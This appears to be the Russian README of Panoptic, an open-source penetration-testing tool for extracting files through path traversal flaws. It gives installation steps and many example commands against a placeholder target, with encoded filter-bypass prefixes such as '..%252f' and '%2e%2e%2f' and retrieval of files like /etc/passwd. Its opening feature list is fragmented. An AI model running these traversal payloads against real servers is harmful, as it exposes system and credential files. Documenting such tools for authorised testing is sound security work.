
Panoptic — это инструмент для тестирования на проникновение с открытым исходным кодом, который автоматизирует процесс поиска и получения содержимого распространённых файлов журналов и конфигурационных файлов через уязвимости path traversal.

Panoptic — это инструмент для тестирования на проникновение с открытым исходным кодом, который автоматизирует поиск и извлечение распространённых лог- и конфигурационных файлов через уязвимости обхода путей (path traversal).

--concurrency)FUZZ
в любом значении --header или --data--base64)/etc/passwd для файлов в домашнем каталоге,
mysql-bin.index для binlog-файлов--output-format)--resume-file)--config)0600 только для владельца на
POSIX и защита от символических ссылок в конечном компоненте там, где это поддерживает ОС--update)Установите Panoptic с помощью pipx. Он помещает команду panoptic
в ваш PATH и изолирует зависимости Panoptic от системного
Python.
В Kali, Debian или Ubuntu:
sudo apt install pipx git
pipx ensurepath
pipx install git+https://github.com/lightos/Panoptic.git
В macOS, с помощью Homebrew:
brew install pipx git
pipx ensurepath
pipx install git+https://github.com/lightos/Panoptic.git
В Windows, при установленных Python и Git:
py -m pip install --user pipx
py -m pipx ensurepath
py -m pipx install git+https://github.com/lightos/Panoptic.git
Затем откройте новый терминал и проверьте, что всё работает:
panoptic --version
Обновление через pipx upgrade panoptic. Не запускайте pip install panoptic: это
имя в PyPI принадлежит не связанному с проектом пакету.
Если системный Python старше 3.11 (например, в Ubuntu 22.04), используйте вместо него uv. Он сам загрузит подходящую версию Python:
curl -LsSf https://astral.sh/uv/install.sh | sh
source "$HOME/.local/bin/env"
uv tool install git+https://github.com/lightos/Panoptic.git
Затем откройте новый терминал и выполните panoptic --version. Обновление выполняется командой
uv tool upgrade panoptic.
Чтобы запустить Panoptic из клона, например для работы над ним, установите его в
виртуальное окружение внутри клона. В Debian и Ubuntu для этого сначала нужно выполнить
sudo apt install python3-venv.
git clone https://github.com/lightos/Panoptic.git
cd Panoptic
python3 -m venv .venv
.venv/bin/python -m pip install -e ".[dev]"
.venv/bin/panoptic --version
Запустите его как .venv/bin/panoptic или выполните source .venv/bin/activate в каждом
новом терминале, чтобы использовать panoptic и python panoptic.py напрямую. В Windows
используйте вместо этого .venv\Scripts\python и .venv\Scripts\panoptic. Установка в режиме
editable сохраняет связь Panoptic с рабочим каталогом, поэтому
panoptic --update может обновлять его на месте.
panoptic --url "http://target/include.php?file=test.txt"
panoptic --url "http://target/include.php?file=test.txt"
panoptic --url "http://target/include.php?file=test.txt&id=1" \
--param file
panoptic --url "http://target/include.php" \
--data "file=test.txt&id=1" --param file
Путь к файлу заменяет последний сегмент пути URL. Последовательности обхода, такие как ../, отправляются в точности как написаны. Panoptic не нормализует их, хотя целевой сервер может это делать.
panoptic --url "http://target/view.php/test.txt" --path-based
panoptic --url "http://target/files/view/test.txt" --path-based \
--prefix "../" --multiplier 6
panoptic --url "http://target/load.php?file=dGVzdC50eHQ=" \
--base64 --auto
panoptic --url "http://target/page.php" \
--header "Cookie: lang=FUZZ" --auto
panoptic --url "http://target/api/load" \
--data '{"file":"FUZZ"}' --auto
panoptic --url "http://target/page.php" \
--header "X-Template: FUZZ" --auto
panoptic --url "http://target/view.php?file=test&type=txt" \
--param file --ext-param type
panoptic --url "http://target/filtered.php?file=test.txt" \
--prefix "....//....//....//....//"
Префиксы отправляются в точности в том виде, в каком они заданы, поэтому кодированные обходные последовательности достигают цели без изменений. Например, в ..%252f точки являются литеральными, а двойному кодированию подвергается только слэш: первое декодирование превращает %252f в %2f, поэтому фильтр, выполняющий декодирование один раз, не видит ../, а второе декодирование приложением превращает его в /:
panoptic --url "http://target/files/view/test.txt" --path-based \
--prefix "..%252f" --multiplier 6
Однократно закодированный префикс, например %2e%2e%2f, после одного
декодирования превращается в ../. Это помогает только против фильтров, которые проверяют необработанный, недекодированный
запрос:
panoptic --url "http://target/include.php?file=test.txt" \
--prefix "%2e%2e%2f" --multiplier 6